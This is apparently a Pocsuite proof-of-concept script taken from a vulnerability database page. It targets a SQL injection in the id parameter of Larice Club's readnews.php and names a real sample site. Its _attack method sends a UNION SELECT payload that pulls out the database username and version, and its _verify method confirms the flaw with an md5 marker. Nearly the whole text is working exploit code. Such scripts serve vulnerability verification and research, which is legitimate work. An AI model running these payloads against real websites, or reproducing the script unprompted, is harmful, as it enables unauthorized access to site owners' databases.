#!/usr/bin/env python
# coding: utf-8
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
import re
import random
import hashlib
class TestPOC(POCBase):
vulID = '1' # ssvid
version = '1.0'
author = ['kikay']
vulDate = '2017-01-11'
createDate = '2017-01-12'
updateDate = '2017-01-12'
references = ['http://www.seebug.org/vuldb/ssvid-']
name = 'Larice Club readnews.php 参数id SQL注入漏洞'
appPowerLink = 'N/A'
appName = 'Larice Club'
appVersion = 'N/A'
vulType = 'SQL注入'
desc = '''
Larice Club文件readnews.php的GET参数id存在SQL注入漏洞。可以结合Union方式执行SQL指令。
'''
samples = ['http://www.illaricegrill.it']
def _attack(self):
#利用漏洞来获取数据库信息
result = {}
#利用的payload,读取数据库信息
payload=("-1 UNION SELECT 1,concat(0x247e7e7e24,user(),0x2a2a2a"
",version(),0x247e7e7e24),3,4,5-- -")
#漏洞连接
exploit='/readnews.php?id='
#提取信息的正则表达式
parttern="\$~~~\$(.*?)\*\*\*(.*?)\$~~~\$"
#自定义的HTTP头
httphead = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive'
}
#自定义超时
time=50
#构造访问地址
vulurl=self.url+exploit+payload
#尝试访问
resp=req.get(url=vulurl,headers=httphead,timeout=time)
#判断是否含有特征字符串
if '$~~~$' in resp.content:
#尝试提取信息
match=re.search(parttern,resp.content,re.I|re.M)
if match:
#漏洞利用成功
result['DataBaseInfo']={}
#数据库当前用户名
result['DataBaseInfo']['Username']=match.group(1)
#数据库版本
result['DataBaseInfo']['Version'] = match.group(2)
return self.parse_output(result)
def _verify(self):
#利用漏洞计算md5
result = {}
#生成随机数
rand_num=random.randint(0,1000)
#计算随机数的md5
hash_flag=hashlib.md5(str(rand_num)).hexdigest()
#利用的payload
payload=("-1 UNION SELECT 1,md5({num}),3,4,5-- -").format(num=rand_num)
#漏洞连接
exploit='/readnews.php?id='
#自定义的HTTP头
httphead = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive'
}
#自定义超时
time=50
#构造访问地址
vulurl=self.url+exploit+payload
#尝试访问
resp=req.get(url=vulurl,headers=httphead,timeout=time)
#判断是否含有特征字符串
if hash_flag in resp.content:
#漏洞验证成功
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url+exploit
result['VerifyInfo']['payload'] = payload
return self.parse_output(result)
def parse_output(self, result):
#parse output
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation